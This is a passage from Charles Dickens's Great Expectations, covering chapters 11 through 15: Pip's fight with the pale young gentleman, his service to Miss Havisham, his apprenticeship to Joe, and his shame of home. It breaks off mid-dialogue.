+Estella, for her part, likewise treated me as before; except that +she did not condescend to speak. When we had played some halfdozen +games, a day was appointed for my return, and I was taken down into +the yard to be fed in the former dog-like manner. There, too, I was +again left to wander about as I liked. + +It is not much to the purpose whether a gate in that garden wall +which I had scrambled up to peep over on the last occasion was, on +that last occasion, open or shut. Enough that I saw no gate then, +and that I saw one now. As it stood open, and as I knew that +Estella had let the visitors out - for, she had returned with the +keys in her hand - I strolled into the garden and strolled all over +it. It was quite a wilderness, and there were old melon-frames and +cucumber-frames in it, which seemed in their decline to have +produced a spontaneous growth of weak attempts at pieces of old +hats and boots, with now and then a weedy offshoot into the +likeness of a battered saucepan. + +When I had exhausted the garden, and a greenhouse with nothing in +it but a fallen-down grape-vine and some bottles, I found myself in +the dismal corner upon which I had looked out of the window. Never +questioning for a moment that the house was now empty, I looked in +at another window, and found myself, to my great surprise, +exchanging a broad stare with a pale young gentleman with red +eyelids and light hair. + +This pale young gentleman quickly disappeared, and re-appeared +beside me. He had been at his books when I had found myself staring +at him, and I now saw that he was inky. + +"Halloa!" said he, "young fellow!" + +Halloa being a general observation which I had usually observed to +be best answered by itself, I said, "Halloa!" politely omitting +young fellow. + +"Who let you in?" said he. + +"Miss Estella." + +"Who gave you leave to prowl about?" + +"Miss Estella." + +"Come and fight," said the pale young gentleman. + +What could I do but follow him? I have often asked myself the +question since: but, what else could I do? His manner was so final +and I was so astonished, that I followed where he led, as if I had +been under a spell. + +"Stop a minute, though," he said, wheeling round before we had gone +many paces. "I ought to give you a reason for fighting, too. There +it is!" In a most irritating manner he instantly slapped his hands +against one another, daintily flung one of his legs up behind him, +pulled my hair, slapped his hands again, dipped his head, and +butted it into my stomach. + +The bull-like proceeding last mentioned, besides that it was +unquestionably to be regarded in the light of a liberty, was +particularly disagreeable just after bread and meat. I therefore +hit out at him and was going to hit out again, when he said, +"Aha! Would you?" and began dancing backwards and forwards in a +manner quite unparalleled within my limited experience. + +"Laws of the game!" said he. Here, he skipped from his left leg on +to his right. "Regular rules!" Here, he skipped from his right leg +on to his left. "Come to the ground, and go through the +preliminaries!" Here, he dodged backwards and forwards, and did all +sorts of things while I looked helplessly at him. + +I was secretly afraid of him when I saw him so dexterous; but, I +felt morally and physically convinced that his light head of hair +could have had no business in the pit of my stomach, and that I had +a right to consider it irrelevant when so obtruded on my attention. +Therefore, I followed him without a word, to a retired nook of the +garden, formed by the junction of two walls and screened by some +rubbish. On his asking me if I was satisfied with the ground, and +on my replying Yes, he begged my leave to absent himself for a +moment, and quickly returned with a bottle of water and a sponge +dipped in vinegar. "Available for both," he said, placing these +against the wall. And then fell to pulling off, not only his jacket +and waistcoat, but his shirt too, in a manner at once +light-hearted, businesslike, and bloodthirsty. + +Although he did not look very healthy - having pimples on his face, +and a breaking out at his mouth - these dreadful preparations quite +appalled me. I judged him to be about my own age, but he was much +taller, and he had a way of spinning himself about that was full of +appearance. For the rest, he was a young gentleman in a grey suit +(when not denuded for battle), with his elbows, knees, wrists, and +heels, considerably in advance of the rest of him as to +development. + +My heart failed me when I saw him squaring at me with every +demonstration of mechanical nicety, and eyeing my anatomy as if he +were minutely choosing his bone. I never have been so surprised in +my life, as I was when I let out the first blow, and saw him lying +on his back, looking up at me with a bloody nose and his face +exceedingly fore-shortened. + +But, he was on his feet directly, and after sponging himself with a +great show of dexterity began squaring again. The second greatest +surprise I have ever had in my life was seeing him on his back +again, looking up at me out of a black eye. + +His spirit inspired me with great respect. He seemed to have no +strength, and he never once hit me hard, and he was always knocked +down; but, he would be up again in a moment, sponging himself or +drinking out of the water-bottle, with the greatest satisfaction in +seconding himself according to form, and then came at me with an +air and a show that made me believe he really was going to do for +me at last. He got heavily bruised, for I am sorry to record that +the more I hit him, the harder I hit him; but, he came up again and +again and again, until at last he got a bad fall with the back of +his head against the wall. Even after that crisis in our affairs, +he got up and turned round and round confusedly a few times, not +knowing where I was; but finally went on his knees to his sponge +and threw it up: at the same time panting out, "That means you have +won." + +He seemed so brave and innocent, that although I had not proposed +the contest I felt but a gloomy satisfaction in my victory. Indeed, +I go so far as to hope that I regarded myself while dressing, as a +species of savage young wolf, or other wild beast. However, I got +dressed, darkly wiping my sanguinary face at intervals, and I said, +"Can I help you?" and he said "No thankee," and I said "Good +afternoon," and he said "Same to you." + +When I got into the court-yard, I found Estella waiting with the +keys. But, she neither asked me where I had been, nor why I had +kept her waiting; and there was a bright flush upon her face, as +though something had happened to delight her. Instead of going +straight to the gate, too, she stepped back into the passage, and +beckoned me. + +"Come here! You may kiss me, if you like." + +I kissed her cheek as she turned it to me. I think I would have +gone through a great deal to kiss her cheek. But, I felt that the +kiss was given to the coarse common boy as a piece of money might +have been, and that it was worth nothing. + +What with the birthday visitors, and what with the cards, and what +with the fight, my stay had lasted so long, that when I neared home +the light on the spit of sand off the point on the marshes was +gleaming against a black night-sky, and Joe's furnace was flinging +a path of fire across the road. + + +Chapter 12 + +My mind grew very uneasy on the subject of the pale young +gentleman. The more I thought of the fight, and recalled the pale +young gentleman on his back in various stages of puffy and +incrimsoned countenance, the more certain it appeared that +something would be done to me. I felt that the pale young +gentleman's blood was on my head, and that the Law would avenge it. +Without having any definite idea of the penalties I had incurred, +it was clear to me that village boys could not go stalking about +the country, ravaging the houses of gentlefolks and pitching into +the studious youth of England, without laying themselves open to +severe punishment. For some days, I even kept close at home, and +looked out at the kitchen door with the greatest caution and +trepidation before going on an errand, lest the officers of the +County Jail should pounce upon me. The pale young gentleman's nose +had stained my trousers, and I tried to wash out that evidence of +my guilt in the dead of night. I had cut my knuckles against the +pale young gentleman's teeth, and I twisted my imagination into a +thousand tangles, as I devised incredible ways of accounting for +that damnatory circumstance when I should be haled before the +Judges. + +When the day came round for my return to the scene of the deed of +violence, my terrors reached their height. Whether myrmidons of +Justice, specially sent down from London, would be lying in ambush +behind the gate? Whether Miss Havisham, preferring to take personal +vengeance for an outrage done to her house, might rise in those +grave-clothes of hers, draw a pistol, and shoot me dead? Whether +suborned boys - a numerous band of mercenaries - might be engaged +to fall upon me in the brewery, and cuff me until I was no more? It +was high testimony to my confidence in the spirit of the pale young +gentleman, that I never imagined him accessory to these +retaliations; they always came into my mind as the acts of +injudicious relatives of his, goaded on by the state of his visage +and an indignant sympathy with the family features. + +However, go to Miss Havisham's I must, and go I did. And behold! +nothing came of the late struggle. It was not alluded to in any +way, and no pale young gentleman was to be discovered on the +premises. I found the same gate open, and I explored the garden, +and even looked in at the windows of the detached house; but, my +view was suddenly stopped by the closed shutters within, and all +was lifeless. Only in the corner where the combat had taken place, +could I detect any evidence of the young gentleman's existence. +There were traces of his gore in that spot, and I covered them with +garden-mould from the eye of man. + +On the broad landing between Miss Havisham's own room and that +other room in which the long table was laid out, I saw a +garden-chair - a light chair on wheels, that you pushed from +behind. It had been placed there since my last visit, and I +entered, that same day, on a regular occupation of pushing Miss +Havisham in this chair (when she was tired of walking with her hand +upon my shoulder) round her own room, and across the landing, and +round the other room. Over and over and over again, we would make +these journeys, and sometimes they would last as long as three +hours at a stretch. I insensibly fall into a general mention of +these journeys as numerous, because it was at once settled that I +should return every alternate day at noon for these purposes, and +because I am now going to sum up a period of at least eight or ten +months. + +As we began to be more used to one another, Miss Havisham talked +more to me, and asked me such questions as what had I learnt and +what was I going to be? I told her I was going to be apprenticed to +Joe, I believed; and I enlarged upon my knowing nothing and wanting +to know everything, in the hope that she might offer some help +towards that desirable end. But, she did not; on the contrary, she +seemed to prefer my being ignorant. Neither did she ever give me +any money - or anything but my daily dinner - nor ever stipulate +that I should be paid for my services. + +Estella was always about, and always let me in and out, but never +told me I might kiss her again. Sometimes, she would coldly +tolerate me; sometimes, she would condescend to me; sometimes, she +would be quite familiar with me; sometimes, she would tell me +energetically that she hated me. Miss Havisham would often ask me +in a whisper, or when we were alone, "Does she grow prettier and +prettier, Pip?" And when I said yes (for indeed she did), would +seem to enjoy it greedily. Also, when we played at cards Miss +Havisham would look on, with a miserly relish of Estella's moods, +whatever they were. And sometimes, when her moods were so many and +so contradictory of one another that I was puzzled what to say or +do, Miss Havisham would embrace her with lavish fondness, murmuring +something in her ear that sounded like "Break their hearts my pride +and hope, break their hearts and have no mercy!" + +There was a song Joe used to hum fragments of at the forge, of +which the burden was Old Clem. This was not a very ceremonious way +of rendering homage to a patron saint; but, I believe Old Clem +stood in that relation towards smiths. It was a song that imitated +the measure of beating upon iron, and was a mere lyrical excuse for +the introduction of Old Clem's respected name. Thus, you were to +hammer boys round - Old Clem! With a thump and a sound - Old Clem! +Beat it out, beat it out - Old Clem! With a clink for the stout - +Old Clem! Blow the fire, blow the fire - Old Clem! Roaring dryer, +soaring higher - Old Clem! One day soon after the appearance of the +chair, Miss Havisham suddenly saying to me, with the impatient +movement of her fingers, "There, there, there! Sing!" I was +surprised into crooning this ditty as I pushed her over the floor. +It happened so to catch her fancy, that she took it up in a low +brooding voice as if she were singing in her sleep. After that, it +became customary with us to have it as we moved about, and Estella +would often join in; though the whole strain was so subdued, even +when there were three of us, that it made less noise in the grim +old house than the lightest breath of wind. + +What could I become with these surroundings? How could my character +fail to be influenced by them? Is it to be wondered at if my +thoughts were dazed, as my eyes were, when I came out into the +natural light from the misty yellow rooms? + +Perhaps, I might have told Joe about the pale young gentleman, if I +had not previously been betrayed into those enormous inventions to +which I had confessed. Under the circumstances, I felt that Joe +could hardly fail to discern in the pale young gentleman, an +appropriate passenger to be put into the black velvet coach; +therefore, I said nothing of him. Besides: that shrinking from +having Miss Havisham and Estella discussed, which had come upon me +in the beginning, grew much more potent as time went on. I reposed +complete confidence in no one but Biddy; but, I told poor Biddy +everything. Why it came natural to me to do so, and why Biddy had a +deep concern in everything I told her, I did not know then, though +I think I know now. + +Meanwhile, councils went on in the kitchen at home, fraught with +almost insupportable aggravation to my exasperated spirit. That +ass, Pumblechook, used often to come over of a night for the purpose +of discussing my prospects with my sister; and I really do believe +(to this hour with less penitence than I ought to feel), that if +these hands could have taken a linchpin out of his chaise-cart, +they would have done it. The miserable man was a man of that +confined stolidity of mind, that he could not discuss my prospects +without having me before him - as it were, to operate upon - and he +would drag me up from my stool (usually by the collar) where I was +quiet in a corner, and, putting me before the fire as if I were +going to be cooked, would begin by saying, "Now, Mum, here is this +boy! Here is this boy which you brought up by hand. Hold up your +head, boy, and be for ever grateful unto them which so did do. Now, +Mum, with respections to this boy!" And then he would rumple my +hair the wrong way - which from my earliest remembrance, as already +hinted, I have in my soul denied the right of any fellow-creature +to do - and would hold me before him by the sleeve: a spectacle of +imbecility only to be equalled by himself. + +Then, he and my sister would pair off in such nonsensical +speculations about Miss Havisham, and about what she would do with +me and for me, that I used to want - quite painfully - to burst +into spiteful tears, fly at Pumblechook, and pummel him all over. +In these dialogues, my sister spoke to me as if she were morally +wrenching one of my teeth out at every reference; while Pumblechook +himself, self-constituted my patron, would sit supervising me with +a depreciatory eye, like the architect of my fortunes who thought +himself engaged on a very unremunerative job. + +In these discussions, Joe bore no part. But he was often talked at, +while they were in progress, by reason of Mrs. Joe's perceiving that +he was not favourable to my being taken from the forge. I was fully +old enough now, to be apprenticed to Joe; and when Joe sat with the +poker on his knees thoughtfully raking out the ashes between the +lower bars, my sister would so distinctly construe that innocent +action into opposition on his part, that she would dive at him, +take the poker out of his hands, shake him, and put it away. There +was a most irritating end to every one of these debates. All in a +moment, with nothing to lead up to it, my sister would stop herself +in a yawn, and catching sight of me as it were incidentally, would +swoop upon me with, "Come! there's enough of you! You get along to +bed; you've given trouble enough for one night, I hope!" As if I +had besought them as a favour to bother my life out. + +We went on in this way for a long time, and it seemed likely that +we should continue to go on in this way for a long time, when, one +day, Miss Havisham stopped short as she and I were walking, she +leaning on my shoulder; and said with some displeasure: + +"You are growing tall, Pip!" + +I thought it best to hint, through the medium of a meditative look, +that this might be occasioned by circumstances over which I had no +control. + +She said no more at the time; but, she presently stopped and looked +at me again; and presently again; and after that, looked frowning +and moody. On the next day of my attendance when our usual exercise +was over, and I had landed her at her dressingtable, she stayed me +with a movement of her impatient fingers: + +"Tell me the name again of that blacksmith of yours." + +"Joe Gargery, ma'am." + +"Meaning the master you were to be apprenticed to?" + +"Yes, Miss Havisham." + +"You had better be apprenticed at once. Would Gargery come here +with you, and bring your indentures, do you think?" + +I signified that I had no doubt he would take it as an honour to be +asked. + +"Then let him come." + +"At any particular time, Miss Havisham?" + +"There, there! I know nothing about times. Let him come soon, and +come along with you." + +When I got home at night, and delivered this message for Joe, my +sister "went on the Rampage," in a more alarming degree than at any +previous period. She asked me and Joe whether we supposed she was +door-mats under our feet, and how we dared to use her so, and what +company we graciously thought she was fit for? When she had +exhausted a torrent of such inquiries, she threw a candlestick at +Joe, burst into a loud sobbing, got out the dustpan - which was +always a very bad sign - put on her coarse apron, and began +cleaning up to a terrible extent. Not satisfied with a dry +cleaning, she took to a pail and scrubbing-brush, and cleaned us +out of house and home, so that we stood shivering in the back-yard. +It was ten o'clock at night before we ventured to creep in again, +and then she asked Joe why he hadn't married a Negress Slave at +once? Joe offered no answer, poor fellow, but stood feeling his +whisker and looking dejectedly at me, as if he thought it really +might have been a better speculation. + + +Chapter 13 + +It was a trial to my feelings, on the next day but one, to see Joe +arraying himself in his Sunday clothes to accompany me to Miss +Havisham's. However, as he thought his court-suit necessary to the +occasion, it was not for me tell him that he looked far better in +his working dress; the rather, because I knew he made himself so +dreadfully uncomfortable, entirely on my account, and that it was +for me he pulled up his shirt-collar so very high behind, that it +made the hair on the crown of his head stand up like a tuft of +feathers. + +At breakfast time my sister declared her intention of going to town +with us, and being left at Uncle Pumblechook's and called for "when +we had done with our fine ladies" - a way of putting the case, from +which Joe appeared inclined to augur the worst. The forge was shut +up for the day, and Joe inscribed in chalk upon the door (as it was +his custom to do on the very rare occasions when he was not at +work) the monosyllable HOUT, accompanied by a sketch of an arrow +supposed to be flying in the direction he had taken. + +We walked to town, my sister leading the way in a very large beaver +bonnet, and carrying a basket like the Great Seal of England in +plaited straw, a pair of pattens, a spare shawl, and an umbrella, +though it was a fine bright day. I am not quite clear whether these +articles were carried penitentially or ostentatiously; but, I +rather think they were displayed as articles of property - much as +Cleopatra or any other sovereign lady on the Rampage might exhibit +her wealth in a pageant or procession. + +When we came to Pumblechook's, my sister bounced in and left us. As +it was almost noon, Joe and I held straight on to Miss Havisham's +house. Estella opened the gate as usual, and, the moment she +appeared, Joe took his hat off and stood weighing it by the brim in +both his hands: as if he had some urgent reason in his mind for +being particular to half a quarter of an ounce. + +Estella took no notice of either of us, but led us the way that I +knew so well. I followed next to her, and Joe came last. When I +looked back at Joe in the long passage, he was still weighing his +hat with the greatest care, and was coming after us in long strides +on the tips of his toes. + +Estella told me we were both to go in, so I took Joe by the +coat-cuff and conducted him into Miss Havisham's presence. She was +seated at her dressing-table, and looked round at us immediately. + +"Oh!" said she to Joe. "You are the husband of the sister of this +boy?" + +I could hardly have imagined dear old Joe looking so unlike himself +or so like some extraordinary bird; standing, as he did, +speechless, with his tuft of feathers ruffled, and his mouth open, +as if he wanted a worm. + +"You are the husband," repeated Miss Havisham, "of the sister of +this boy?" + +It was very aggravating; but, throughout the interview Joe +persisted in addressing Me instead of Miss Havisham. + +"Which I meantersay, Pip," Joe now observed in a manner that was at +once expressive of forcible argumentation, strict confidence, and +great politeness, "as I hup and married your sister, and I were at +the time what you might call (if you was anyways inclined) a single +man." + +"Well!" said Miss Havisham. "And you have reared the boy, with the +intention of taking him for your apprentice; is that so, Mr. +Gargery?" + +"You know, Pip," replied Joe, "as you and me were ever friends, and +it were looked for'ard to betwixt us, as being calc'lated to lead +to larks. Not but what, Pip, if you had ever made objections to the +business - such as its being open to black and sut, or such-like - +not but what they would have been attended to, don't you see?" + +"Has the boy," said Miss Havisham, "ever made any objection? Does +he like the trade?" + +"Which it is well beknown to yourself, Pip," returned Joe, +strengthening his former mixture of argumentation, confidence, and +politeness, "that it were the wish of your own hart." (I saw the +idea suddenly break upon him that he would adapt his epitaph to the +occasion, before he went on to say) "And there weren't no objection +on your part, and Pip it were the great wish of your heart!" + +It was quite in vain for me to endeavour to make him sensible that +he ought to speak to Miss Havisham. The more I made faces and +gestures to him to do it, the more confidential, argumentative, and +polite, he persisted in being to Me. + +"Have you brought his indentures with you?" asked Miss Havisham. + +"Well, Pip, you know," replied Joe, as if that were a little +unreasonable, "you yourself see me put 'em in my 'at, and therefore +you know as they are here." With which he took them out, and gave +them, not to Miss Havisham, but to me. I am afraid I was ashamed of +the dear good fellow - I know I was ashamed of him - when I saw +that Estella stood at the back of Miss Havisham's chair, and that +her eyes laughed mischievously. I took the indentures out of his +hand and gave them to Miss Havisham. + +"You expected," said Miss Havisham, as she looked them over, "no +premium with the boy?" + +"Joe!" I remonstrated; for he made no reply at all. "Why don't you +answer--" + +"Pip," returned Joe, cutting me short as if he were hurt, "which I +meantersay that were not a question requiring a answer betwixt +yourself and me, and which you know the answer to be full well No. +You know it to be No, Pip, and wherefore should I say it?" + +Miss Havisham glanced at him as if she understood what he really +was, better than I had thought possible, seeing what he was there; +and took up a little bag from the table beside her. + +"Pip has earned a premium here," she said, "and here it is. There +are five-and-twenty guineas in this bag. Give it to your master, +Pip." + +As if he were absolutely out of his mind with the wonder awakened +in him by her strange figure and the strange room, Joe, even at +this pass, persisted in addressing me. + +"This is wery liberal on your part, Pip," said Joe, "and it is as +such received and grateful welcome, though never looked for, far +nor near nor nowheres. And now, old chap," said Joe, conveying to +me a sensation, first of burning and then of freezing, for I felt +as if that familiar expression were applied to Miss Havisham; "and +now, old chap, may we do our duty! May you and me do our duty, both +on us by one and another, and by them which your liberal present - +have - conweyed - to be - for the satisfaction of mind - of - them +as never--" here Joe showed that he felt he had fallen into +frightful difficulties, until he triumphantly rescued himself with +the words, "and from myself far be it!" These words had such a +round and convincing sound for him that he said them twice. + +"Good-bye, Pip!" said Miss Havisham. "Let them out, Estella." + +"Am I to come again, Miss Havisham?" I asked. + +"No. Gargery is your master now. Gargery! One word!" + +Thus calling him back as I went out of the door, I heard her say to +Joe, in a distinct emphatic voice, "The boy has been a good boy +here, and that is his reward. Of course, as an honest man, you will +expect no other and no more." + +How Joe got out of the room, I have never been able to determine; +but, I know that when he did get out he was steadily proceeding +up-stairs instead of coming down, and was deaf to all remonstrances +until I went after him and laid hold of him. In another minute we +were outside the gate, and it was locked, and Estella was gone. + +When we stood in the daylight alone again, Joe backed up against a +wall, and said to me, "Astonishing!" And there he remained so long, +saying "Astonishing" at intervals, so often, that I began to think +his senses were never coming back. At length he prolonged his +remark into "Pip, I do assure you this is as-TONishing!" and so, by +degrees, became conversational and able to walk away. + +I have reason to think that Joe's intellects were brightened by the +encounter they had passed through, and that on our way to +Pumblechook's he invented a subtle and deep design. My reason is to +be found in what took place in Mr. Pumblechook's parlour: where, on +our presenting ourselves, my sister sat in conference with that +detested seedsman. + +"Well?" cried my sister, addressing us both at once. "And what's +happened to you? I wonder you condescend to come back to such poor +society as this, I am sure I do!" + +"Miss Havisham," said Joe, with a fixed look at me, like an effort +of remembrance, "made it wery partick'ler that we should give her - +were it compliments or respects, Pip?" + +"Compliments," I said. + +"Which that were my own belief," answered Joe - "her compliments to +Mrs. J. Gargery--" + +"Much good they'll do me!" observed my sister; but rather gratified +too. + +"And wishing," pursued Joe, with another fixed look at me, like +another effort of remembrance, "that the state of Miss Havisham's +elth were sitch as would have - allowed, were it, Pip?" + +"Of her having the pleasure," I added. + +"Of ladies' company," said Joe. And drew a long breath. + +"Well!" cried my sister, with a mollified glance at Mr. Pumblechook. +"She might have had the politeness to send that message at first, +but it's better late than never. And what did she give young +Rantipole here?" + +"She giv' him," said Joe, "nothing." + +Mrs. Joe was going to break out, but Joe went on. + +"What she giv'," said Joe, "she giv' to his friends. 'And by his +friends,' were her explanation, 'I mean into the hands of his +sister Mrs. J. Gargery.' Them were her words; 'Mrs. J. Gargery.' She +mayn't have know'd," added Joe, with an appearance of reflection, +"whether it were Joe, or Jorge." + +My sister looked at Pumblechook: who smoothed the elbows of his +wooden armchair, and nodded at her and at the fire, as if he had +known all about it beforehand. + +"And how much have you got?" asked my sister, laughing. Positively, +laughing! + +"What would present company say to ten pound?" demanded Joe. + +"They'd say," returned my sister, curtly, "pretty well. Not too +much, but pretty well." + +"It's more than that, then," said Joe. + +That fearful Impostor, Pumblechook, immediately nodded, and said, +as he rubbed the arms of his chair: "It's more than that, Mum." + +"Why, you don't mean to say--" began my sister. + +"Yes I do, Mum," said Pumblechook; "but wait a bit. Go on, Joseph. +Good in you! Go on!" + +"What would present company say," proceeded Joe, "to twenty pound?" + +"Handsome would be the word," returned my sister. + +"Well, then," said Joe, "It's more than twenty pound." + +That abject hypocrite, Pumblechook, nodded again, and said, with a +patronizing laugh, "It's more than that, Mum. Good again! Follow her +up, Joseph!" + +"Then to make an end of it," said Joe, delightedly handing the bag +to my sister; "it's five-and-twenty pound." + +"It's five-and-twenty pound, Mum," echoed that basest of swindlers, +Pumblechook, rising to shake hands with her; "and it's no more than +your merits (as I said when my opinion was asked), and I wish you +joy of the money!" + +If the villain had stopped here, his case would have been +sufficiently awful, but he blackened his guilt by proceeding to +take me into custody, with a right of patronage that left all his +former criminality far behind. + +"Now you see, Joseph and wife," said Pumblechook, as he took me by +the arm above the elbow, "I am one of them that always go right +through with what they've begun. This boy must be bound, out of +hand. That's my way. Bound out of hand." + +"Goodness knows, Uncle Pumblechook," said my sister (grasping the +money), "we're deeply beholden to you." + +"Never mind me, Mum," returned that diabolical corn-chandler. "A +pleasure's a pleasure, all the world over. But this boy, you know; +we must have him bound. I said I'd see to it - to tell you the +truth." + +The Justices were sitting in the Town Hall near at hand, and we at +once went over to have me bound apprentice to Joe in the +Magisterial presence. I say, we went over, but I was pushed over by +Pumblechook, exactly as if I had that moment picked a pocket or +fired a rick; indeed, it was the general impression in Court that I +had been taken red-handed, for, as Pumblechook shoved me before him +through the crowd, I heard some people say, "What's he done?" and +others, "He's a young 'un, too, but looks bad, don't he?" One person +of mild and benevolent aspect even gave me a tract ornamented with +a woodcut of a malevolent young man fitted up with a perfect +sausage-shop of fetters, and entitled, TO BE READ IN MY CELL. + +The Hall was a queer place, I thought, with higher pews in it than +a church - and with people hanging over the pews looking on - and +with mighty Justices (one with a powdered head) leaning back in +chairs, with folded arms, or taking snuff, or going to sleep, or +writing, or reading the newspapers - and with some shining black +portraits on the walls, which my unartistic eye regarded as a +composition of hardbake and sticking-plaister. Here, in a corner, +my indentures were duly signed and attested, and I was "bound;" Mr. +Pumblechook holding me all the while as if we had looked in on our +way to the scaffold, to have those little preliminaries disposed +of. + +When we had come out again, and had got rid of the boys who had +been put into great spirits by the expectation of seeing me +publicly tortured, and who were much disappointed to find that my +friends were merely rallying round me, we went back to +Pumblechook's. And there my sister became so excited by the +twenty-five guineas, that nothing would serve her but we must have +a dinner out of that windfall, at the Blue Boar, and that +Pumblechook must go over in his chaise-cart, and bring the Hubbles +and Mr. Wopsle. + +It was agreed to be done; and a most melancholy day I passed. For, +it inscrutably appeared to stand to reason, in the minds of the +whole company, that I was an excrescence on the entertainment. And +to make it worse, they all asked me from time to time - in short, +whenever they had nothing else to do - why I didn't enjoy myself. +And what could I possibly do then, but say I was enjoying myself - +when I wasn't? + +However, they were grown up and had their own way, and they made +the most of it. That swindling Pumblechook, exalted into the +beneficent contriver of the whole occasion, actually took the top +of the table; and, when he addressed them on the subject of my +being bound, and had fiendishly congratulated them on my being +liable to imprisonment if I played at cards, drank strong liquors, +kept late hours or bad company, or indulged in other vagaries which +the form of my indentures appeared to contemplate as next to +inevitable, he placed me standing on a chair beside him, to +illustrate his remarks. + +My only other remembrances of the great festival are, That they +wouldn't let me go to sleep, but whenever they saw me dropping off, +woke me up and told me to enjoy myself. That, rather late in the +evening Mr. Wopsle gave us Collins's ode, and threw his bloodstain'd +sword in thunder down, with such effect, that a waiter came in and +said, "The Commercials underneath sent up their compliments, and it +wasn't the Tumblers' Arms." That, they were all in excellent +spirits on the road home, and sang O Lady Fair! Mr. Wopsle taking +the bass, and asserting with a tremendously strong voice (in reply +to the inquisitive bore who leads that piece of music in a most +impertinent manner, by wanting to know all about everybody's +private affairs) that he was the man with his white locks flowing, +and that he was upon the whole the weakest pilgrim going. + +Finally, I remember that when I got into my little bedroom I was +truly wretched, and had a strong conviction on me that I should +never like Joe's trade. I had liked it once, but once was not now. + + +Chapter 14 + +It is a most miserable thing to feel ashamed of home. There may be +black ingratitude in the thing, and the punishment may be +retributive and well deserved; but, that it is a miserable thing, I +can testify. + +Home had never been a very pleasant place to me, because of my +sister's temper. But, Joe had sanctified it, and I had believed in +it. I had believed in the best parlour as a most elegant saloon; I +had believed in the front door, as a mysterious portal of the +Temple of State whose solemn opening was attended with a sacrifice +of roast fowls; I had believed in the kitchen as a chaste though +not magnificent apartment; I had believed in the forge as the +glowing road to manhood and independence. Within a single year, all +this was changed. Now, it was all coarse and common, and I would +not have had Miss Havisham and Estella see it on any account. + +How much of my ungracious condition of mind may have been my own +fault, how much Miss Havisham's, how much my sister's, is now of no +moment to me or to any one. The change was made in me; the thing +was done. Well or ill done, excusably or inexcusably, it was done. + +Once, it had seemed to me that when I should at last roll up my +shirt-sleeves and go into the forge, Joe's 'prentice, I should be +distinguished and happy. Now the reality was in my hold, I only +felt that I was dusty with the dust of small coal, and that I had a +weight upon my daily remembrance to which the anvil was a feather. +There have been occasions in my later life (I suppose as in most +lives) when I have felt for a time as if a thick curtain had fallen +on all its interest and romance, to shut me out from anything save +dull endurance any more. Never has that curtain dropped so heavy +and blank, as when my way in life lay stretched out straight before +me through the newly-entered road of apprenticeship to Joe. + +I remember that at a later period of my "time," I used to stand +about the churchyard on Sunday evenings when night was falling, +comparing my own perspective with the windy marsh view, and making +out some likeness between them by thinking how flat and low both +were, and how on both there came an unknown way and a dark mist and +then the sea. I was quite as dejected on the first working-day of +my apprenticeship as in that after-time; but I am glad to know that +I never breathed a murmur to Joe while my indentures lasted. It is +about the only thing I am glad to know of myself in that +connection. + +For, though it includes what I proceed to add, all the merit of +what I proceed to add was Joe's. It was not because I was faithful, +but because Joe was faithful, that I never ran away and went for a +soldier or a sailor. It was not because I had a strong sense of the +virtue of industry, but because Joe had a strong sense of the +virtue of industry, that I worked with tolerable zeal against the +grain. It is not possible to know how far the influence of any +amiable honest-hearted duty-doing man flies out into the world; but +it is very possible to know how it has touched one's self in going +by, and I know right well, that any good that intermixed itself +with my apprenticeship came of plain contented Joe, and not of +restlessly aspiring discontented me. + +What I wanted, who can say? How can I say, when I never knew? What +I dreaded was, that in some unlucky hour I, being at my grimiest +and commonest, should lift up my eyes and see Estella looking in at +one of the wooden windows of the forge. I was haunted by the fear +that she would, sooner or later, find me out, with a black face and +hands, doing the coarsest part of my work, and would exult over me +and despise me. Often after dark, when I was pulling the bellows +for Joe, and we were singing Old Clem, and when the thought how we +used to sing it at Miss Havisham's would seem to show me Estella's +face in the fire, with her pretty hair fluttering in the wind and +her eyes scorning me, - often at such a time I would look towards +those panels of black night in the wall which the wooden windows +then were, and would fancy that I saw her just drawing her face +away, and would believe that she had come at last. + +After that, when we went in to supper, the place and the meal would +have a more homely look than ever, and I would feel more ashamed of +home than ever, in my own ungracious breast. + + +Chapter 15 + +As I was getting too big for Mr. Wopsle's great-aunt's room, my +education under that preposterous female terminated. Not, however, +until Biddy had imparted to me everything she knew, from the little +catalogue of prices, to a comic song she had once bought for a +halfpenny. Although the only coherent part of the latter piece of +literature were the opening lines, + +When I went to Lunnon town sirs, Too rul loo rul Too rul loo rul +Wasn't I done very brown sirs? Too rul loo rul Too rul loo rul + +- still, in my desire to be wiser, I got this composition by heart +with the utmost gravity; nor do I recollect that I questioned its +merit, except that I thought (as I still do) the amount of Too rul +somewhat in excess of the poetry. In my hunger for information, I +made proposals to Mr. Wopsle to bestow some intellectual crumbs upon +me; with which he kindly complied. As it turned out, however, that +he only wanted me for a dramatic lay-figure, to be contradicted and +embraced and wept over and bullied and clutched and stabbed and +knocked about in a variety of ways, I soon declined that course of +instruction; though not until Mr. Wopsle in his poetic fury had +severely mauled me. + +Whatever I acquired, I tried to impart to Joe. This statement +sounds so well, that I cannot in my conscience let it pass +unexplained. I wanted to make Joe less ignorant and common, that he +might be worthier of my society and less open to Estella's +reproach. + +The old Battery out on the marshes was our place of study, and a +broken slate and a short piece of slate pencil were our educational +implements: to which Joe always added a pipe of tobacco. I never +knew Joe to remember anything from one Sunday to another, or to +acquire, under my tuition, any piece of information whatever. Yet +he would smoke his pipe at the Battery with a far more sagacious +air than anywhere else - even with a learned air - as if he +considered himself to be advancing immensely. Dear fellow, I hope +he did. + +It was pleasant and quiet, out there with the sails on the river +passing beyond the earthwork, and sometimes, when the tide was low, +looking as if they belonged to sunken ships that were still sailing +on at the bottom of the water. Whenever I watched the vessels +standing out to sea with their white sails spread, I somehow +thought of Miss Havisham and Estella; and whenever the light struck +aslant, afar off, upon a cloud or sail or green hill-side or +water-line, it was just the same. - Miss Havisham and Estella and +the strange house and the strange life appeared to have something +to do with everything that was picturesque. + +One Sunday when Joe, greatly enjoying his pipe, had so plumed +himself on being "most awful dull," that I had given him up for the +day, I lay on the earthwork for some time with my chin on my hand, +descrying traces of Miss Havisham and Estella all over the +prospect, in the sky and in the water, until at last I resolved to +mention a thought concerning them that had been much in my head. + +"Joe," said I; "don't you think I ought to make Miss Havisham a +visit?" + +"Well, Pip," returned Joe, slowly considering. "What for?" + +"What for, Joe? What is any visit made for?" + +"There is some wisits, p'r'aps," said Joe, "as for ever remains +open to the question, Pip. But in regard to wisiting Miss Havisham. +She might think you wanted something - expected something of her." + +"Don't you think I might say that I did not, Joe?" + +"You might, old chap," said Joe. "And she might credit it. +Similarly she mightn't." + +Joe felt, as I did, that he had made a point there, and he pulled +hard at his pipe to keep himself from weakening it by repetition. + +"You see, Pip," Joe 